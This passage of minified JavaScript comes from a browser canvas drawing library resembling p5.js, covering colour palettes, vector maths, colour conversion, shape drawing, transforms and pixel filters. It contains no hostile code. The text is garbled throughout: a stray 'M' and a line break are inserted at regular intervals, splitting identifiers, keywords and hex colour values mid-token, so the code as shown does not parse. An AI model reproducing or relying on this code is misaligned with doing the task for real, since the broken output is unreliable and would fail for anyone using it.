01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
